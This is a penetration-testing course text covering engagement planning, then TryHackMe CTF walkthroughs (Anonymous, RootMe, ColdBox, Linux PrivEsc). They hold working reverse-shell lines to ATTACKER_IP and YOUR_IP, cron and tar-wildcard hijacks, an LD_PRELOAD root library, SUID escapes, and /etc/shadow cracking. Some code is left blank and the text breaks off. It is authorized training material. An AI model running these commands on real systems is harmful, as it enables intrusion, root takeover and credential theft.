Pre-engagement is the most important phase of a pentest. It defines legal boundaries, scope, timelines, deliverables, methodology, and operational safety. A well-structured pre-engagement reduces misunderstandings and protects both tester and client.
📘 Core Pre-Engagement Tasks
- ✔ Define scope (assets, IP ranges, applications, APIs)
- ✔ Identify testing type (black-box, gray-box, white-box)
- ✔ Identify in-scope vs out-of-scope systems
- ✔ Confirm timeline, testing hours, maintenance windows
- ✔ Define escalation and communication procedures
- ✔ Agree on evidence-handling & data sensitivity practices
- ✔ Discuss acceptable use & safety rules (no destructive tests)
📝 Required Legal Documents
- ROE (Rules of Engagement) — defines what testers can and cannot do
- NDA (Non-Disclosure Agreement) — protects confidential data
- Authorization Letter — written permission to test
- SOW (Statement of Work) — scope, deliverables, cost
26.2 Execution Phase Overview (Conceptual & Safe)
The execution phase is the technical portion of an authorized pentest. It follows a well-defined methodology to ensure structured and safe testing. The purpose is to identify security weaknesses, not to perform harmful exploitation.
🧭 Common Pentest Workflow
| Phase | Description (Safe) | Goal |
|---|---|---|
| Reconnaissance | Gather information from public and internal sources | Understand the attack surface |
| Scanning | Identify active systems, ports, and services | Map network layout |
| Enumeration | Extract additional technical details | Identify potential weaknesses |
| Vulnerability Analysis | Match configurations with known issues | Locate unsafe settings or outdated software |
| Validation | Confirm findings safely | Avoid false positives |
| Reporting | Document results with remediation guidance | Improve security posture |
26.3 Documentation & Evidence Handling
Proper documentation ensures that findings are accurate, reproducible, and understandable by stakeholders. Evidence must be handled securely to protect sensitive information.
📎 Types of Documentation
- ✔ Field Notes — daily activity logs
- ✔ Screenshots — visual confirmation of behavior
- ✔ Tool Output Logs — raw scanner + enumeration data
- ✔ Timeline Documentation — sequence of activities
- ✔ Evidence Storage — encrypted containers
🔐 Evidence Handling Rules
- ✔ Store evidence encrypted (BitLocker / VeraCrypt)
- ✔ Do not collect excessive data
- ✔ Label all evidence with time & source
- ✔ Avoid personal/PII data whenever possible
- ✔ Follow data minimization standards
26.4 Communicating Findings
Communication is crucial during and after a pentest. Regular updates reduce surprises and ensure all stakeholders understand risk levels.
📣 Communication Channels
- ✔ Daily/Weekly progress updates
- ✔ Secure email or ticketing systems
- ✔ Emergency communication hotline
- ✔ Final reporting meeting
- ✔ Post-engagement review call
📌 Critical Elements of Clear Communication
- ✔ Prioritize findings by severity
- ✔ Map issues to business impact
- ✔ Use non-technical language for executives
- ✔ Provide mitigation steps, not just problems
- ✔ Include evidence but avoid sensitive data
26.5 Post-Engagement Review
After a pentest is completed, a structured review ensures that findings are understood, remediation is prioritized, and improvements are tracked.
📌 Components of Post-Engagement Review
- ✔ Final report delivery & walkthrough
- ✔ Remediation roadmap creation
- ✔ Lessons learned discussion
- ✔ Update of asset inventory & risk profile
- ✔ Schedule for retesting (if required)
📝 Post-Engagement Deliverables
- ✔ Executive summary
- ✔ Technical report
- ✔ Evidence package (if permitted)
- ✔ Mitigation recommendations
- ✔ Security maturity rating
Module 27 : Trying Harder — The Labs
This module focuses on hands-on lab thinking. The goal is to apply concepts learned throughout the course in a controlled lab environment, similar to CTF-style challenges.
Creating a TryHackMe Account & Lab Access
Before starting TryHackMe labs, learners must create a TryHackMe account and sign in to the learning platform. TryHackMe provides guided, hands-on cybersecurity labs for beginners to advanced learners.
Purpose:
TryHackMe accounts provide access to interactive rooms, learning paths,
hands-on challenges, virtual machines, and browser-based attack labs.
Official Signup Page:
Use the following link to create a free TryHackMe account:
TryHackMe Signup Link:
https://tryhackme.com/signup
A free account allows access to many beginner rooms, while premium subscriptions unlock advanced labs and learning paths.
Step-by-Step Account Creation Process:
📌 Step 1: Open the TryHackMe Signup Page
Open the official TryHackMe signup page in your browser. Make sure you are using a valid email address.
📌 Step 2: Fill in Registration Details
Complete the registration form with accurate information.
- Choose a unique username
- Enter a valid email address
- Create a strong password
- Accept the TryHackMe terms of service
📌 Step 3: Verify Email Address
TryHackMe may send a verification email to confirm your account.
- Check your inbox and spam folder
- Click the verification link if required
- Return to the TryHackMe website
📌 Step 4: Sign In to TryHackMe
After account creation, sign in to access rooms and learning paths.
TryHackMe Sign-In Page:
https://tryhackme.com/login
📌 Step 5: Choose Learning Paths or Rooms
Once logged in, you can begin learning immediately.
- Start with beginner learning paths
- Join individual rooms (CTF-style labs)
- Use browser-based labs or VPN-based machines
📌 Step 6: Access Machines & Labs
TryHackMe provides both browser-based attack boxes and VPN-based access depending on the room.
- Launch the AttackBox (browser-based)
- Or download the VPN configuration (for local Kali Linux)
- Follow room instructions carefully
Beginners should start with guided learning paths before attempting harder CTF-style rooms.
Only attack machines within the TryHackMe platform. Never scan or exploit systems outside the lab environment.
TryHackMe labs are authorized practice environments. Applying these techniques to real-world systems without permission is illegal.
🧪 Lab 27.3 – Simple CTF (Recon → Privilege Escalation)
This lab is based on a beginner-level Capture The Flag (CTF) scenario designed to demonstrate the full attack lifecycle: scanning, enumeration, research, exploitation, and privilege escalation.
🔍 Phase 1: Network Scanning
Every CTF begins with understanding what services are exposed. A full TCP scan helps identify entry points.
nmap -sC -sV -p- <TARGET_IP>
- ✔ Identifies open ports
- ✔ Detects running services
- ✔ Reveals service versions
🌐 Phase 2: Web Enumeration
If HTTP is open, directory enumeration often reveals hidden applications.
gobuster dir -u http://<TARGET_IP> -w <WORDLIST>
- ✔ Finds hidden directories
- ✔ Reveals admin panels or apps
- ✔ Helps identify frameworks or CMS
🔎 Phase 3: Vulnerability Research
Once a technology and version are identified, research is critical. Public vulnerability databases help assess risk.
Search: "<Application Name> <Version> exploit"
- ✔ Identifies known CVEs
- ✔ Confirms vulnerability types
- ✔ Prevents blind exploitation
⚔️ Phase 4: Controlled Exploitation (Conceptual)
In authorized labs, proof-of-concept exploits may be used to validate real impact.
python3 exploit.py -u http://<TARGET_IP>/path
🏁 Phase 5: Initial Access & User Flag
Successful exploitation may reveal credentials that allow authenticated access.
ssh <username>@<TARGET_IP> -p <PORT>
- ✔ Validate access level
- ✔ Locate user-level flags
- ✔ Enumerate local users
🚀 Phase 6: Privilege Escalation (Study)
Privilege escalation determines the worst-case impact of a compromise.
sudo -l
Public references such as GTFOBins help defenders and testers understand dangerous configurations.
Reference: https://gtfobins.github.io/
🏆 Final Phase: Root Access Validation
The final flag confirms full system compromise in a controlled lab scenario.
🧾 Key Takeaways
- ✔ Reconnaissance drives success
- ✔ Enumeration beats guessing
- ✔ Public exploits highlight patch urgency
- ✔ Misconfigurations cause most breaches
🧪 Lab 27.4 – Anonymous (FTP & SMB Exploitation)
Complete walkthrough for the TryHackMe Anonymous room - A beginner-friendly machine focusing on FTP misconfigurations and SMB shares.
🚀 Task 1: Deploy the Machine
# Start the machine
# Click "Start Machine" button
# Get the target IP address
# Example: 10.10.10.10
# Connect to TryHackMe network
sudo openvpn your-config.ovpn
# Verify connectivity
ping -c 3 TARGET_IP
🔍 Task 1: Enumeration
First, perform network scanning to identify open ports and services.
Question 1: How many ports are open?
# Perform Nmap scan
nmap -sS -p- --min-rate 1000 TARGET_IP
# OR with service detection
nmap -sV -sC -p- TARGET_IP -oN initial_scan.txt
# Sample output:
# PORT STATE SERVICE VERSION
# 21/tcp open ftp vsftpd 2.0.8 or later
# 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
# 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# Count the open ports: 4 ports are open
# Answer: 4
Question 2: What service is running on port 21?
# From Nmap output:
# 21/tcp open ftp
# Check FTP version
nc TARGET_IP 21
# Output: 220 (vsFTPd 3.0.3)
# OR use nmap banner grab
nmap -sV -p 21 TARGET_IP
# Answer: FTP (vsFTPd)
Question 3: What service is running on ports 139 and 445?
# From Nmap output:
# 139/tcp open netbios-ssn
# 445/tcp open netbios-ssn
# Both are SMB (Server Message Block) ports
# Port 139: NetBIOS Session Service
# Port 445: SMB over TCP
# Check SMB version
nmap --script smb-protocols -p 139,445 TARGET_IP
# Answer: SMB
🔎 Task 1 Continued: SMB Share Discovery
Question 4: There's a share on the user's computer. What's it called?
# Enumerate SMB shares
smbclient -L //TARGET_IP/ -N
# OR use enum4linux
enum4linux -S TARGET_IP
# OR use nmap scripts
nmap --script smb-enum-shares -p 139,445 TARGET_IP
# Sample output:
# Sharename Type Comment
# --------- ---- -------
# print$ Disk Printer Drivers
# pics Disk My SMB Share Directory for Pics
# IPC$ IPC IPC Service (anonymous server (Samba, Ubuntu))
# The interesting share is "pics"
# Answer: pics
📁 Phase 2: FTP Anonymous Login Exploitation
Check if FTP allows anonymous login (common misconfiguration).
# Try anonymous FTP login
ftp TARGET_IP
# Username: anonymous
# Password: (press Enter or use "anonymous")
# If successful, you'll see:
# 230 Login successful.
# List files
ls -la
# Sample output:
# drwxr-xr-x 2 0 65534 4096 Mar 17 2020 .
# drwxr-xr-x 2 0 65534 4096 Mar 17 2020 ..
# -rw-r--r-- 1 0 0 104 Mar 17 2020 remove.sh
# -rw-r--r-- 1 0 0 139 Mar 17 2020 clean.sh
# Download files
get remove.sh
get clean.sh
# Check file contents
cat remove.sh
cat clean.sh
📂 Phase 3: SMB Share Access
Access the discovered SMB share to find more information.
# Access the "pics" share anonymously
smbclient //TARGET_IP/pics -N
# OR with specific command
smbclient \\\\TARGET_IP\\pics -N
# Once connected, list files
ls
# Sample output:
# . D 0 Thu May 14 19:20:41 2020
# .. D 0 Thu May 14 19:20:41 2020
# corgo2.jpg N 42663 Thu May 14 19:20:41 2020
# puppos.jpeg N 26526 Thu May 14 19:20:41 2020
# Download files
get corgo2.jpg
get puppos.jpeg
# Check for hidden files or other shares
smbclient -L //TARGET_IP/ -U ''%''
🏁 Phase 4: Finding User Flag (user.txt)
Search for the user flag by exploring accessible directories.
# Let's check if we can find the flag through FTP
# First, check if there are any interesting directories
ftp> ls -la
# Look for hints in the scripts
# Check the scripts we downloaded from FTP
cat remove.sh
# Sample content:
# #!/bin/bash
# echo "Removing old logs" > /dev/null
# rm -f /home/namelessone/logs/*
# rm -f /var/log/samba/old.log
cat clean.sh
# Sample content:
# #!/bin/bash
# echo "Cleaning up" > /dev/null
# rm -f /tmp/*
# rm -f /home/namelessone/tmp/*
# The scripts mention /home/namelessone/
# This might be a user directory
# Check if we can access /home/namelessone via SMB
smbclient //TARGET_IP/namelessone -N
# If not, try other methods
# The user flag is typically found by:
# 1. Checking if we can write to FTP directory
# 2. Uploading a reverse shell
# 3. Getting initial access
# Method: Upload PHP reverse shell via FTP (if writable)
# Create a PHP shell
cat > shell.php << 'EOF'
EOF
# Upload via FTP
ftp> put shell.php
# If FTP directory is served via web, access it
# http://TARGET_IP/shell.php?cmd=id
# Alternative: Look for the flag in accessible locations
# Once you get a shell, search for user.txt
find / -name "user.txt" -type f 2>/dev/null
# Usually located in: /home/namelessone/user.txt
# Read the flag
cat /home/namelessone/user.txt
# Answer: Submit the flag value
🚀 Phase 5: Privilege Escalation to Root
Escalate privileges from user to root using misconfigurations.
# Once you have initial shell (as namelessone or www-data)
# First, check sudo permissions
sudo -l
# Check for SUID binaries
find / -perm -u=s -type f 2>/dev/null
# Check capabilities
getcap -r / 2>/dev/null
# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.*
# Check writable files
find / -writable -type f 2>/dev/null | grep -v "/proc/"
# In this room, common escalation vectors:
# 1. Check the scripts from FTP
# The remove.sh and clean.sh scripts might be run as root via cron
# Check if they're writable
ls -la /home/namelessone/
ls -la /scripts/ # if they were moved
# 2. If scripts are run as root and writable
# Edit them to add reverse shell or set SUID on bash
echo '#!/bin/bash' > /path/to/script.sh
echo 'chmod +s /bin/bash' >> /path/to/script.sh
chmod +x /path/to/script.sh
# Wait for cron to execute
# Then run: /bin/bash -p
# 3. Check for unusual SUID binaries
# Look for /usr/bin/env with SUID
find / -perm -4000 -type f 2>/dev/null | grep env
# 4. Check for PATH exploitation
echo $PATH
# If current directory is in PATH and you can write to a directory in PATH
# Create malicious binary with same name as one executed by root
# Common in this room: SUID on /usr/bin/env
# Exploit with:
/usr/bin/env /bin/bash -p
# OR check for other misconfigurations
# After getting root shell:
whoami
# Should output: root
🏆 Phase 6: Finding Root Flag (root.txt)
# As root, find the root flag
find / -name "root.txt" -type f 2>/dev/null
# Common locations:
# /root/root.txt
# /root/proof.txt
# /root/flag.txt
# Usually located at:
cat /root/root.txt
# If not found, check:
ls -la /root/
cat /root/flag.txt
cat /root/proof.txt
# Answer: Submit the flag value
📋 Complete Step-by-Step Walkthrough
# ============ COMPLETE ANONYMOUS ROOM WALKTHROUGH ============
# 1. DEPLOY & CONNECT
# Start machine → Get IP → Connect via OpenVPN
# 2. ENUMERATION
nmap -sV -sC TARGET_IP
# Ports: 21(FTP), 22(SSH), 139/445(SMB)
# 3. FTP EXPLORATION
ftp TARGET_IP
# Login: anonymous (no password)
# Download: remove.sh, clean.sh
# Check scripts for hints
# 4. SMB ENUMERATION
smbclient -L //TARGET_IP/ -N
# Discover share: pics
smbclient //TARGET_IP/pics -N
# Download files (optional)
# 5. GET INITIAL ACCESS
# Check if FTP directory is writable
# If yes, upload reverse shell
# If not, check scripts for clues
# 6. PRIVILEGE ESCALATION
# Common methods in this room:
# - SUID misconfiguration (env)
# - Writable scripts run by cron
# - PATH exploitation
# Check SUID binaries:
find / -perm -u=s -type f 2>/dev/null
# Look for /usr/bin/env with SUID
# Exploit SUID env:
/usr/bin/env /bin/bash -p
# OR
/usr/bin/env bash -p
# 7. GET FLAGS
# User flag: /home/namelessone/user.txt
# Root flag: /root/root.txt
# ============ ROOM COMPLETE ============
🔄 Alternative Exploitation Methods
# METHOD 1: Through scripts (if they exist in system)
# Find where scripts from FTP are located on system
find / -name "remove.sh" -o -name "clean.sh" 2>/dev/null
# If found and writable, edit to add reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /path/to/script.sh
# Start listener and wait for cron execution
# METHOD 2: Through SMB (if writable share)
# Check if pics share is writable
smbclient //TARGET_IP/pics -N
smb: \> put test.txt
# If successful, upload reverse shell
# METHOD 3: Through SSH (if credentials found)
# Check scripts for passwords
# Try default/common credentials
ssh namelessone@TARGET_IP
# Password: (try from script hints or brute force)
🧾 Key Takeaways & Learning Points
- Anonymous Services: Always check for anonymous FTP/SMB access
- Script Analysis: Downloaded files often contain valuable hints
- SMB Enumeration: Use multiple tools (smbclient, enum4linux, nmap scripts)
- SUID Exploitation: /usr/bin/env with SUID is a common misconfiguration
-
Defense Lessons:
- Disable anonymous FTP access
- Restrict SMB share permissions
- Regularly audit SUID binaries
- Monitor cron jobs and scripts
- Use proper file permissions
- SMB Security Best Practices
- FTP Server Hardening Guide
- Linux SUID/SGID Management
- Cron Job Security
- TryHackMe Learning Paths
🧪 Lab 27.5 – RootMe CTF (Recon → Privilege Escalation)
Complete walkthrough for the TryHackMe RootMe room - a beginner-friendly CTF demonstrating web application exploitation and Linux privilege escalation.
🚀 Task 1: Deploy the Machine
# Start the machine
# Click "Start Machine" button
# Get the target IP address
# Example: 10.10.10.10
# Connect to TryHackMe network via OpenVPN
sudo openvpn your-config.ovpn
# Verify connectivity
ping -c 3 TARGET_IP
🔍 Task 2: Reconnaissance
First, gather information about the target through port scanning and service enumeration.
Question 1: Scan the machine, how many ports are open?
# Perform initial Nmap scan
nmap -sS -p- TARGET_IP
# OR with service detection
nmap -sV -sC TARGET_IP
# Sample output:
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
# 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
# Answer: 2 ports are open (22 and 80)
Question 2: What version of Apache is running?
# From Nmap output or use curl to check headers
curl -I http://TARGET_IP/
# Output:
# HTTP/1.1 200 OK
# Server: Apache/2.4.29 (Ubuntu)
# Answer: Apache/2.4.29
Question 3: What service is running on port 22?
# From Nmap scan output:
# 22/tcp open ssh
# Answer: SSH (OpenSSH)
Question 4: Find directories on the web server using GoBuster
# Install gobuster if not already installed
sudo apt install gobuster
# Run directory enumeration
gobuster dir -u http://TARGET_IP/ -w /usr/share/wordlists/dirb/common.txt
# Sample output:
# /panel (Status: 301)
# /uploads (Status: 301)
# /css (Status: 301)
# /js (Status: 301)
# /index.php (Status: 200)
Question 5: What is the hidden directory?
# From gobuster results, look for interesting directories
# /panel and /uploads are the important ones
# Explore /panel directory
curl http://TARGET_IP/panel/
# This reveals a file upload panel
# Answer: /panel
⚔️ Task 3: Getting a Shell
Exploit the file upload vulnerability to gain initial access and find the user flag.
Question: Find the user.txt flag
# 1. Visit the upload panel
# Go to: http://TARGET_IP/panel/
# 2. Upload a PHP reverse shell
# Create a PHP reverse shell file (php-reverse-shell.php)
# You can use PentestMonkey's PHP reverse shell
# Or create your own:
cat > shell.php << 'EOF'
EOF
# 3. Try to upload the shell
# If PHP is blocked, try alternative extensions:
# - shell.php5
# - shell.phtml
# - shell.php7
# 4. In this room, .phtml works
mv shell.php shell.phtml
# 5. Upload shell.phtml through /panel/
# 6. Access the uploaded file
# Files are uploaded to /uploads/
curl "http://TARGET_IP/uploads/shell.phtml?cmd=id"
# Should return: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# 7. Get a reverse shell
# First start listener on your machine:
# nc -lvnp 4444
# Then execute reverse shell command:
curl "http://TARGET_IP/uploads/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/YOUR_IP/4444+0>%261'"
# 8. Stabilize the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 9. Find the user flag
find / -name "user.txt" -type f 2>/dev/null
# Usually located in: /var/www/user.txt
# Read the flag
cat /var/www/user.txt
# OR
cat /home/rootme/user.txt
# Answer: Submit the flag value
🚀 Task 4: Privilege Escalation
Escalate privileges from www-data to root using SUID binaries.
Question 1: Search for files with SUID permission, which file is weird?
# Find SUID binaries
find / -perm -u=s -type f 2>/dev/null
# Sample output:
# /usr/bin/python
# /usr/bin/sudo
# /usr/bin/find
# /usr/bin/gpasswd
# /usr/bin/chfn
# /usr/bin/chsh
# /usr/bin/newgrp
# /usr/bin/passwd
# /usr/bin/pkexec
# /usr/bin/at
# /usr/local/bin/python <-- This is interesting!
# /usr/local/bin/python is unusual because:
# 1. It's in /usr/local/bin/ (not standard)
# 2. Python with SUID is dangerous
# Check the python version
/usr/local/bin/python --version
# Answer: /usr/local/bin/python
Question 2: Find a form to escalate your privileges
# Exploit the SUID python binary
# Since python has SUID bit set, it runs with root privileges
# Method 1: Spawn a root shell
/usr/local/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Method 2: Using python's os module
/usr/local/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Method 3: Interactive python shell
/usr/local/bin/python
>>> import os
>>> os.setuid(0)
>>> os.system("/bin/bash")
# After getting root shell, verify
whoami
# Should output: root
id
# uid=0(root) gid=33(www-data) groups=33(www-data)
# Alternative method using GTFOBins reference:
# Reference: https://gtfobins.github.io/gtfobins/python/#suid
# Answer: Use the SUID python binary to escalate privileges
Question 3: Find root.txt
# As root, find the root flag
find / -name "root.txt" -type f 2>/dev/null
# Common locations:
# /root/root.txt
# /root/proof.txt
# /root/flag.txt
# Usually located at:
cat /root/root.txt
# If not found, check other common locations:
ls -la /root/
cat /root/flag.txt
cat /root/proof.txt
# Answer: Submit the flag value
📋 Complete Step-by-Step Walkthrough
# ============ COMPLETE ROOTME ROOM WALKTHROUGH ============
# 1. DEPLOY & CONNECT
# Start machine → Get IP → Connect via OpenVPN
# 2. RECONNAISSANCE
nmap -sV -sC TARGET_IP
# Ports open: 22 (SSH), 80 (HTTP Apache/2.4.29)
gobuster dir -u http://TARGET_IP/ -w /usr/share/wordlists/dirb/common.txt
# Found: /panel/, /uploads/
# 3. FILE UPLOAD EXPLOITATION
# Visit http://TARGET_IP/panel/
# Upload PHP shell as .phtml extension
# Access: http://TARGET_IP/uploads/shell.phtml?cmd=id
# 4. REVERSE SHELL
# On attacker machine: nc -lvnp 4444
curl "http://TARGET_IP/uploads/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"
# 5. SHELL STABILIZATION
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z, then: stty raw -echo; fg
# 6. FIND USER FLAG
find / -name "user.txt" 2>/dev/null
cat /var/www/user.txt
# 7. PRIVILEGE ESCALATION
find / -perm -u=s -type f 2>/dev/null
# Found: /usr/local/bin/python (SUID)
# 8. BECOME ROOT
/usr/local/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'
# 9. GET ROOT FLAG
cat /root/root.txt
# ============ ROOM COMPLETE ============
🧾 Key Takeaways & Learning Points
- Reconnaissance is Critical: Nmap and GoBuster revealed attack vectors
- File Upload Vulnerabilities: Unrestricted file upload → RCE
- Extension Bypass: .phtml worked when .php was blocked
- SUID Misconfigurations: Python with SUID → Root access
-
Defense Lessons:
- Validate file uploads (type, content, extensions)
- Remove unnecessary SUID binaries
- Keep software updated
- Use principle of least privilege
- OWASP File Upload Cheat Sheet
- GTFOBins (Linux Binary Exploitation)
- Linux Privilege Escalation Checklist
- TryHackMe Learning Paths
❄️ Lab 27.6 – ColdBox: Easy (Recon → Web Exploitation → Privilege Escalation)
This lab simulates a realistic beginner-friendly penetration test against a vulnerable WordPress-based system. The goal is to practice methodical enumeration, controlled exploitation, and basic Linux privilege escalation in an authorized lab environment.
🔍 Phase 1: Aggressive Network Scanning
ColdBox exposes limited services, so a fast, aggressive scan helps identify all reachable attack surfaces early.
nmap -A <TARGET_IP> --min-rate 1000
- ✔ OS detection and service fingerprinting
- ✔ Default script execution
- ✔ Version and banner disclosure
🌐 Phase 2: Web Technology Fingerprinting
Before brute forcing or exploitation, identify the technologies, CMS, and server stack in use.
whatweb http://<TARGET_IP>
- ✔ Detects WordPress CMS
- ✔ Reveals server and language details
- ✔ Confirms attack surface
📂 Phase 3: Directory Enumeration
Hidden directories often expose admin panels, backup files, or configuration leaks.
feroxbuster --url http://<TARGET_IP>
🧠 Phase 4: WordPress Enumeration
WPScan is used to identify WordPress users, plugins, themes, and misconfigurations.
wpscan --update
wpscan --url http://<TARGET_IP> -e u,p
- ✔ Enumerates valid usernames
- ✔ Detects vulnerable plugins
- ✔ Identifies weak configurations
🔐 Phase 5: WordPress Credential Attack (Lab)
If a valid username is identified, a password attack may be tested in a controlled lab environment.
wpscan --url http://<TARGET_IP> -u <USERNAME> -p /usr/share/wordlists/rockyou.txt
⚔️ Phase 6: Web Shell Upload (Conceptual)
With WordPress admin access, attackers may upload malicious PHP code disguised as themes or plugins.
Common research query:
php reverse shell.php
The payload may be uploaded via the WordPress dashboard (Appearance → Theme Editor or Plugin Upload).
📡 Phase 7: Reverse Shell Listener
nc -lvnp 1234
- ✔ Receives reverse shell
- ✔ Confirms remote command execution
- ✔ Establishes foothold
📁 Phase 8: Local File System Enumeration
On web-based labs, application files are commonly located in:
/var/www/html
🚀 Phase 9: Privilege Escalation
sudo -l
Misconfigured sudo permissions or writable scripts often allow elevation to root.
https://gtfobins.github.io/
🏆 Final Phase: Root Access Validation
🧾 Key Takeaways
- ✔ Enumeration reveals real attack paths
- ✔ CMS security depends on credentials
- ✔ File upload equals code execution
- ✔ Privilege escalation defines impact
🎯 Lab 27.2 – Linux PrivEsc Room (Complete Walkthrough)
Complete step-by-step guide for TryHackMe Linux Privilege Escalation room.
SSH credentials: user:password321
Task 1: Deploy & Initial Connection
# Deploy the machine
# Click "Start Machine" button
# Connect via SSH with workaround for deprecated ssh-rsa
ssh -oHostKeyAlgorithms=+ssh-rsa user@MACHINE_IP
# Alternative connection method if above doesn't work:
ssh -o HostKeyAlgorithms=ssh-rsa user@MACHINE_IP
# When prompted, type "yes" and press Enter
# Password: password321
# Verify connection
whoami
# Output: user
# Run the id command
id
# Expected output: uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Task 2: Service Exploits
# Check for MySQL running as root
ps aux | grep mysql
# If MySQL is running as root and has empty password
mysql -u root
# In MySQL, create a User Defined Function (UDF) exploit
# 1. Check MySQL version
SELECT version();
# 2. If vulnerable to raptor_udf exploit:
SELECT sys_exec('chmod +s /bin/bash');
SELECT sys_exec('chown root:root /bin/bash');
# 3. Execute bash with root privileges
/bin/bash -p
Task 3: Weak File Permissions - Readable /etc/shadow
# Check if /etc/shadow is readable
ls -la /etc/shadow
# If readable (-rw-r--r--), proceed
# View the shadow file
cat /etc/shadow
# Copy root's hash to a file
cat /etc/shadow | grep root > hash.txt
# Crack the hash with john
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# Or use hashcat
hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# Once cracked, su to root with the password
su root
# Enter cracked password
Task 4: Weak File Permissions - Writable /etc/shadow
# Check if /etc/shadow is writable
ls -la /etc/shadow
# If writable by user (-rw-rw-rw- or similar), proceed
# Create a new password hash for root
mkpasswd -m sha-512 newpassword
# Output: $6$salt$hashed_password
# Replace root's hash in /etc/shadow
# Backup original first
cp /etc/shadow /etc/shadow.bak
# Edit the file (replace the root hash)
nano /etc/shadow
# OR use sed
sed -i 's/^root:.*/root:$6$newhash$...:18818:0:99999:7:::/' /etc/shadow
# Now su to root with new password
su root
# Enter: newpassword
Task 5: Weak File Permissions - Writable /etc/passwd
# Check if /etc/passwd is writable
ls -la /etc/passwd
# If writable (-rw-rw-rw-), proceed
# Generate a password hash for a new root user
openssl passwd -1 -salt abc password123
# Output: $1$abc$hashed_password
# Add a new root user to /etc/passwd
echo 'newroot:$1$abc$hashed_password:0:0:root:/root:/bin/bash' >> /etc/passwd
# Switch to the new root user
su newroot
# Password: password123
# OR modify existing root entry
cp /etc/passwd /etc/passwd.bak
sed -i 's/^root:.*/root:$1$abc$hashed_password:0:0:root:/root:/bin/bash/' /etc/passwd
su root
Task 6: Sudo - Shell Escape Sequences
# First check sudo permissions
sudo -l
# Look for programs you can run as root
# Common shell escape sequences:
# 1. If you can run less or more:
sudo less /etc/profile
# In less, type: !/bin/bash
# 2. If you can run vi or vim:
sudo vi -c '!bash'
# 3. If you can run nmap (interactive mode):
sudo nmap --interactive
nmap> !bash
# 4. If you can run awk:
sudo awk 'BEGIN {system("/bin/bash")}'
# 5. If you can run ftp:
sudo ftp
ftp> !bash
# 6. If you can run man:
sudo man man
# Then type: !bash
# 7. If you can run find:
sudo find / -exec /bin/bash \;
# 8. If you can run python/perl:
sudo python -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
Task 7: Sudo - Environment Variables
# Check sudo permissions with env_keep
sudo -l
# Look for: env_keep += LD_PRELOAD
# If LD_PRELOAD is preserved:
# 1. Create malicious shared library
cd /tmp
cat > exploit.c << 'EOF'
#include
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash");
}
EOF
# 2. Compile it
gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles
# 3. Execute with sudo
sudo LD_PRELOAD=/tmp/exploit.so /usr/bin/command_you_can_run
# Alternative method for other environment variables:
# If you can set EDITOR, VISUAL, or PAGER
export EDITOR='vim -- /etc/sudoers'
export VISUAL='vim -- /etc/sudoers'
# Then run a sudo command that uses these
Task 8: Cron Jobs - File Permissions
# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.*
ls -la /var/spool/cron/crontabs/
# Look for cron jobs that run scripts
# Example: * * * * * root /usr/local/bin/overwrite.sh
# Check if the script is writable
ls -la /usr/local/bin/overwrite.sh
# If writable, replace with reverse shell
echo '#!/bin/bash' > /usr/local/bin/overwrite.sh
echo 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' >> /usr/local/bin/overwrite.sh
chmod +x /usr/local/bin/overwrite.sh
# Start listener on your machine
# nc -nvlp 4444
# Wait for cron to execute (max 1 minute)
# Alternative: if you can write to /etc/cron.d/
echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/YOUR_IP/5555 0>&1"' > /etc/cron.d/exploit
# Wait for execution
Task 9: Cron Jobs - PATH Environment Variable
# Check cron jobs that use relative paths
cat /etc/crontab
# Look for jobs like: * * * * * root overwrite.sh
# (without full path /usr/local/bin/overwrite.sh)
# Find where the script is supposed to be
find / -name overwrite.sh 2>/dev/null
# If the script is in a directory you can write to:
# 1. Create malicious script
echo '#!/bin/bash' > /path/to/overwrite.sh
echo '/bin/bash -i >& /dev/tcp/YOUR_IP/6666 0>&1' >> /path/to/overwrite.sh
chmod +x /path/to/overwrite.sh
# 2. Modify PATH to include your directory first
export PATH=/tmp:$PATH
# Or create the script in a directory already in PATH
# 3. Wait for cron to execute
# Check current PATH in cron context
# Sometimes cron uses a minimal PATH
grep PATH /etc/crontab
Task 10: Cron Jobs - Wildcards
# Look for cron jobs with wildcards
cat /etc/crontab
# Example: * * * * * root tar -zcf /var/backups/backup.tar.gz *
# If the directory is writable:
cd /path/to/writable/directory
# Create malicious files that tar will execute
echo '#!/bin/bash' > shell.sh
echo 'bash -i >& /dev/tcp/YOUR_IP/7777 0>&1' >> shell.sh
chmod +x shell.sh
# Create tar checkpoint exploit files
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# Alternative method using tar's --to-command
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh shell.sh'
# Or create files that get executed through filename parsing
touch '--checkpoint=1'
touch '--checkpoint-action=exec=bash shell.sh'
# Start listener and wait
# nc -nvlp 7777
Task 11: SUID/SGID Executables - Known Exploits
# Find SUID binaries
find / -perm -u=s -type f 2>/dev/null
# Find SGID binaries
